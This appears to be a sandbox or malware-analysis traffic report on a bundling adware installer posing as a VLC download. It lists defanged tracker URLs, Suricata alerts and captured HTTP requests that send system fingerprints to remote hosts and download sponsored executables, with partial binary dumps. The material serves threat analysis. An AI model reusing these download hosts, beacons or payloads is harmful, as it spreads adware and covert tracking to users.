hxxp://rep.shopper-pro.com/app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3le0nRya1/ySF9YSP9ZGURrtfjqskcj0tJCYY2sAkrWlVOxIC gR9ITZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ6vDtE6jRZ3qvsUl7h5mV4z6i slsoGBMB6SEWAN/WtsF9QGpXbnENCn qX4FpTdffopz0y2Q7Y	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=obiBp3WOda9tb/LgACKPGtPoRc85Bdu1HtQ8g58Z64f7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lDDlic64H1m3f27u WcRw/YhuZ4SlmSTqro4IQ3JJ/8YLfpaYcwUXjumytkOxhhp1idvNRLeb/tYKSSyzds/hZ8AogVCnBq01 p7zotpWR2XjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ty8ph h1ipV4TNSM5wMWNRg8 LdmjV KAMTwC1GHZcjnyUzwl0yV3mKs4wGey2R6ONuXgfT2 BXMAeXrDcfXn1	54.197.238.106
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=appshat_madness&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=4&index_in_screen=1&index_in_session=4&0.45088814072472344	78.138.127.15
hxxp://stats.neomapobjectrack.com/installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-04-17&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=AD83A898590847B7A51FB6ED434C2082PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_43&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=34816&crtnm=na&mdat=&procstarttime=1429342579&procruntime=2&rnd=1429342581	54.231.65.36
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429342583	54.231.65.60
hxxp://stats.neomapobjectrack.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=6C010886E904470BB81A72CBEAFC3956PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl6dHNtdHljMCxhMDk2OGY5ZS1lNmI2LTRiYWUtOWMxNy1jN2YxZWQ1NTA4MTgsIiwidW5xIjoiYTA5NjhmOWUtZTZiNi00YmFlLTljMTctYzdmMWVkNTUwODE4In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429342556&procruntime=20&rnd=1429342576	54.231.65.36
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1429342563	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429342584	54.231.65.60
hxxp://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js	216.58.211.10
hxxp://www.appshat.com/thumbnails/icon/images/assets/3/6/36d7cd00f07003a67021237993257d08.png	78.138.127.8
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/k6kR j50trdzuE9Nz05xfoywfXhr77b0oMOQ2TsHtiRoZJTpqsyZxASc9FSZWyoGYsEX4kIHlu/0mFZouDnPiqbL3WeaiLbbOP3GaNYEyTVAezdf3aKUfc/boITtVwp1P9gDFCZ6VapvGDt BB/ci1dbz JN6x9xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj1T8UqV0B 4fqL9qhe/rNusYKT8bBfz5d NtU wuJMpTDG7KgaWci8oBSr28YVyfPg8SfsOq8sVv	54.197.238.106
hxxp://www.appshat.com/thumbnails/icon/images/assets/4/4/442a5f30204dd385d17de5848683274f.png	78.138.127.8
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=wlkQ3WKgYpRPNjxRBLtb43eS3LHPhAPU8VJzSL2ntQTrKx2bEbCHzOcoyReJ NwWyxib6hKcAO9IYTGpbiqfvFOC0ZtpasZvMSx1JGlNOutg5TXL9gg1EcvEMeZapduyqL9qhe/rNusYKT8bBfz5d NtU wuJMpTDG7KgaWci8qXxrGh40ySfjpIRcIzv2J5 96KzbcM0zqdpBC4dpcfQ/t7tnmUrYIG3flsf95NzvTPcR1Y3Wmev1uZqFtksnxDcFgFktsmzatllRT9/VJIUTE8yW7GEK2 gJWBVJDxThvG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l7S3VSitHfZqNG3q5t3agirgXbGGg7tltYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66Liy6clAa0L70	54.197.238.106
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/t.ashx?e=s5Ydxb c7o1PNjxRBLtb45TG1atn8PUT/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lxvNI1drqLyDuLt6BhzfOsDsdipVbPJvC6kpVRpoAJ8AwjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw==	198.232.124.192
hxxp://www.google-analytics.com/r/collect?v=1&_v=j35&a=1093328678&t=pageview&_s=1&dl=http://www.appshat.com/home&ul=en-us&de=utf-8&dt=Apps Hat&sd=32-bit&sr=1716x901&vp=1018x770&je=0&_u=AEAAAAAAI~&jid=54076133&cid=408066396.1429342593&tid=UA-42656881-1&_r=1&z=1705283251	173.194.122.2
hxxp://www.appshat.com/thumbnails/icon/images/assets/d/5/d586df222f5069b6c396373d67d0163b.png	78.138.127.8
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=1&index_in_screen=1&index_in_session=1&0.8929203837719888	78.138.127.15
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429342584	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429342565	54.231.65.60
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1429342582	54.231.65.60
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=istartsurf&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.8677267254584831	78.138.127.15
hxxp://rep.shopper-pro.com/app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3n lPuSoguSWxrRu4kWrXNyppyth6wyOCdIsM5CQpbEqki65yJGu/kM9wUerNkYXa cGaLtuFfn2qkIBIJiEncCR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnYn7lYe7mMbU9PclnbsNSKOOsIkIhg5fMBF1cEPUlJ4JqWSC7 m/jK07xKwR3W9AY9/CpuCTIAF0=	54.197.238.106
hxxp://www.appshat.com/thumbnails/icon/images/assets/7/e/7e5817bad781bbc2d2e43b350ccb53db.png	78.138.127.8
hxxp://stats.neomapobjectrack.com/installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=D2C3D8ACABFF4453B526483BE0349472PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429342557&procruntime=5&rnd=1429342562	54.231.65.36
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=swiftrecord&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=2&index_in_screen=1&index_in_session=2&0.9453808587588621	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=appshat_madness&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=4&index_in_screen=1&index_in_session=4&0.13876420013356688	78.138.127.15
hxxp://www.appshat.com/thumbnails/icon/images/assets/b/1/b147a5a09b49b133d347bd975a4c5616.png	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/4/f/4f263f4be4c4396c9078d1874c05b928.png	78.138.127.8
hxxp://www.appshat.com/home	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/8/3/83a4cee7a59522b93ed0ae1fa73ce8f3.png	78.138.127.8
hxxp://fonts.googleapis.com/css?family=Abel
hxxp://www.appshat.com/css/main.css	78.138.127.8
hxxp://www.appshat.com/css/lightbox.css	78.138.127.8
hxxp://errors.neomapobjectrack.com/utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1429342557	54.231.65.60
hxxp://www.appshat.com/images/close.png	78.138.127.8
download.mozilla.org	63.245.215.110
www.youtube.com	173.194.122.14
www.google.com	216.58.209.196

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum
SURICATA IPv4 invalid checksum
ET POLICY Executable served from Amazon S3
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET MALWARE Win32/Toolbar.CrossRider.A Checkin
ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
SURICATA STREAM SHUTDOWN RST invalid ack
SURICATA STREAM Packet with invalid ack
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)

Traffic

GET /softwares/4/3/vlc-2.0.6-win32.exe HTTP/1.1

Range: bytes=5737198-

User-Agent: Better Installer(Mozilla)

Host: download.betterinstaller.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:39 GMT

Content-Type: application/octet-stream

Content-Length: 17211592

Last-Modified: Thu, 29 Aug 2013 08:26:14 GMT

Connection: keep-alive

ETag: "521f05a6-15e2bb6"

Content-Range: bytes 5737198-22948789/22948790
.}.j>.m.j"..:..K..O(............X~$ .....,.u.V.v..E.|..B...[....yPR
.D..3....~R..?.....mC..Z.5........,.tF.......th.z)...`..^3.`..}...!...
{...U0u..EG6o.`......T.n....2.......h..Z.............s...w.3....;3..Cn
^!....D..y..6..l.....7Q .........I...qq....K..G&.Z....4Pk...v..?.Z.9.u
dS..s...T..U3..h....-..Q.GO~...f...C./G....7.p.;.. . H.E......6,..D.&g
t;....]./.{|.T.`...m_.N{(dzl.!...r..mv.....^.....J.L.\...qI7..Z)...@ys
m.B......}W...o....jYXm..|\S..v..[...z.8.`../.d?.p....Hw4:.,..b..o/V.J
.pj.......4....}7............kYM..4....p..9h.....p...x..i,l...D....0..
?..E.....U.&Q....fH..J.F&K.m....^.R.....5.......E.....94V..sC...I....c
.W....../.....>.Te..........(.n.1.Cj..C...,."$i...C..t..\..vw^%c..P
n..3.5...`.Y^..m...7L).q;.=..t.R/Q.pa...]7.m8..................#..6i..
....Vw.....5.dw...G..1E.......C...s..Ux...LN)....:..p.\A.......B......
9........V]D.......S..o'...]r......$.c....H.XA4i)....gy..,...H.z..I..^
.....r.t...D....X*.<,.c...m..[O.8...x...2.......3#..B.N.8... F.H7..
[..`WS8.a_x.......4..1-p6$...S(K...vm..&.^.{....p....Bf{.tB....u.....o
q....j.8.X....PT.I.m.%~d..4.9.....^....X..O`......h..P<.9V..'._{.-.
:.."..Bt.$....%8..g..].*..@.|.b.5.6..Z2g.........Q...c({`...D.}./kx.~\
......25L..Q..ZNW.M.....a. /..l......p^.o......;.[.....x...r.sY..L....
....H.d.._>[email protected]......
=E......J5ew.X......!.yRb<.b0...s...,..VJ...%9.0.J..K3...8..O..B v.
Gu4.....j,.2d..~....)\.....M.......`..........C-..C%^.....[..E....E...
.q.{..s<.....-V.......E.......... !W.(....D[BL......Q[.......3.<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=142780-

User-Agent: Better Installer(Mozilla)

Host: d3dl09kxmzkap.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 142778

Connection: keep-alive

Date: Sun, 12 Apr 2015 05:26:44 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 142780-285557/285558

Age: 2036

X-Cache: Hit from cloudfront

Via: 1.1 38342e76ee3a325e32291f04943992d6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: q1ytKN3uKDhPwA3gdUtHduAJ48RGKzJoxsM0pV-lqKgN3cZ3_ziROA==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{.E.....y...N/.WG..,...QV.GC.m.gY..........4...<<< skipped >>>

GET /monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342579&asw=0_1082139141_-2147475456_34816&browser=ff&rnd=1429342579 HTTP/1.1

Host: logs.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:36:29 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1429342590.dop001.fr7.t,1429342589.cds021.fr7.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Sat, 18 Apr 
2015 07:36:29 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Al
ive..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07 
Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 3
5..Content-Type: image/gif..X-HW: 1429342590.dop001.fr7.t,1429342589.c
ds021.fr7.c..GIF89a.............,...........D..;..

GET / HTTP/1.1

Host: ipgeoapi.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:36:20 GMT

Connection: keep-alive

Content-Type: application/json;charset=utf-8

Content-Length: 40

Server: thin 1.4.1 codename Chromeo

Via: 1.1 vegur

{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Sat, 18
 Apr 2015 07:36:20 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..

GET /monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342556&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429342556 HTTP/1.1

Host: logs.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:36:02 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1429342563.dop001.fr7.t,1429342562.cds021.fr7.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Sat, 18 Apr 
2015 07:36:02 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Al
ive..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07 
Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 3
5..Content-Type: image/gif..X-HW: 1429342563.dop001.fr7.t,1429342562.c
ds021.fr7.c..GIF89a.............,...........D..;..

GET /t.ashx?e=s5Ydxb c7o1PNjxRBLtb45TG1atn8PUT/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lxvNI1drqLyDuLt6BhzfOsDsdipVbPJvC6kpVRpoAJ8AwjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhsk....

GET /t.ashx?e=s5Ydxb c7o1PNjxRBLtb45TG1atn8PUT/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lxvNI1drqLyDuLt6BhzfOsDsdipVbPJvC6kpVRpoAJ8AwjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhskHTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:24 GMT..Con
tent-Type: text/html; charset=utf-8..Content-Length: 13..Connection: k
eep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version
: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache:
 MISS..abfgshdgfjhsk..

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=251748-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:36 GMT

Content-Type: application/octet-stream

Content-Length: 419580

Last-Modified: Wed, 15 Apr 2015 07:16:46 GMT

Connection: keep-alive

Expires: Tue, 21 Apr 2015 07:34:36 GMT

Cache-Control: max-age=259200

Content-Range: bytes 251748-671327/671328
F......u,....... ;.t........@;[email protected].(i..Y.F.....W.......F.
.>.H....N. . ..N...~.WP.u...v......E..N.. .F..=....M....t....t.....
..............I......H..@. t.Sj.j.Q.Jz..#.......t-.F..].f....j..E.P.u.
...].f.]...u......E.9}.t..N. .........%...._[^....U..........f9E......
.SV.u..M.......u..N.3.;.u..E..H.f...w.f.. ....K.....j.f9E.s..u......Y.
...E.Yt,........... .U.Rj..U.RPQ............E.t...E.8].t..M..ap.^[..3.
PPj.Pj.h...@h..G....pG....H.....H....t....t.P...pG....U.....SV.u..M...
....]......;.sT.M........~..E.Pj.S.z....M...............X.....t.......
..........}..t..E..`p.........E........~1.]..}...E.P.E.%....P.....YY..
t..E.j..E..]..E..Y...-.....*...3..]..E..A.E.j..p..U.j.RQ.M.QV.p..E.P.h
.....$....o........E.t...M.......}..t..M..ap.^[....U...=..H..u..E..H..
..w... ].j..u......YY]...U....<S.u..M.......M..E.3.;.t...;.u%.x....
..........8].t..E..`p.3.3..O...9].t..}..|..}.$....V.u.W.]..]..M..x....
....~..E.P..E.j.P......u........E..........A...;.t....E.G...}.-.}.u..M
.....}. u...G.}..E.j.Y9].u%.}.0t..E......7..<xt.<Xt..E......$.M.
9M.u..}.0u...<xt.<Xu..G.....E..}..E..R..Wj.j..U.......]........M
..E..U..M.......C.....t......0..%....tP.A.<....w... .p.;u.s;.M..M..
;M.rQw..E.;E.rG.E.9E.u.;M.u.3.;E.r3w.;u.v,.M...}..u;.E..M...uA3.9E.t..
M..M..E..E......Q.u..u.W.....3......E..U..E....E..E..E...............u
'..uT...t.9].w.r..}..w...u>9u.r9w..}..v1.o....E...."...t..M...M....
.E..t..e...]....M...u..E._^..t..M....E..t..E..M.........E..M..}..t..E.
.`p..E..U.[....U..3.P.u..u..u.9...H.u.h..H...P.=......]...........<<< skipped >>>

GET /22693.ashx?e=ZfTZC8DxP8YdEfBWbuhmg2/xsuj8i8F3jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/gCLB7Quosf1qHuu98HE7PcyETj4nts NO517CUeh0QiwTxIUcsgQ wfJnh8VDEgRSlTNRWMyvAk6UqjDuAivmJ4m/vJXDvF2G8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfYQeWksviRUhaxI9Y1TT8IQh8h5o3YrXrZv qR/r3k14sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfd7DtEfJQoroi4lKa3GrnqJbHve/RKFqd qCUmdZEWwWUhl7fGS412w= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:36:18 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=KSz5qzb2KgIHmSWm27gjw8xFQhk7Y4nTp1gvyxGmYnz8ln8Iap23/wrmOSgIBLqiUA7dl9owwhJifuVh7uYxtT09yWduw1Io46wiQiGDl8wEXVwQ9SUngjSag0uP4abcFjCwIjKziMWX1FtTkCv6XG80jV2uovIOGEm1J4RWiGnVPtJ/net4ZozZSDInFTwcceLsPpRf2XIk5WdJMj/YtWaqdBifD OJxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux93sO0R8lCiuiLiUprcaueolse979EoWp36oJSZ1kRbBZSGXt8ZLjXbA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:36:18 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=eFCD8T/coifCDzC3dWmgsvoywfXhr77bs1J ZuGTca14E7mrr1h80pGhRXiiBAM368AF84az5H21E0CX5ajlwGlDUJZW3E3DOjB5waydGzYNGzxO3tvqExwcMwvatk04mVvO2Kq2gv hQNbb34rcpkUu0QVEIiN9hhbvGCw HGGLGe0GBQxZ8R12Y34RZ2ijgb6v7cXpPvfJKubRTxkYJh48KI0fWwjBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLHGIuOi8NF5gp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/WW/hePtCOfZ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:36:18 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

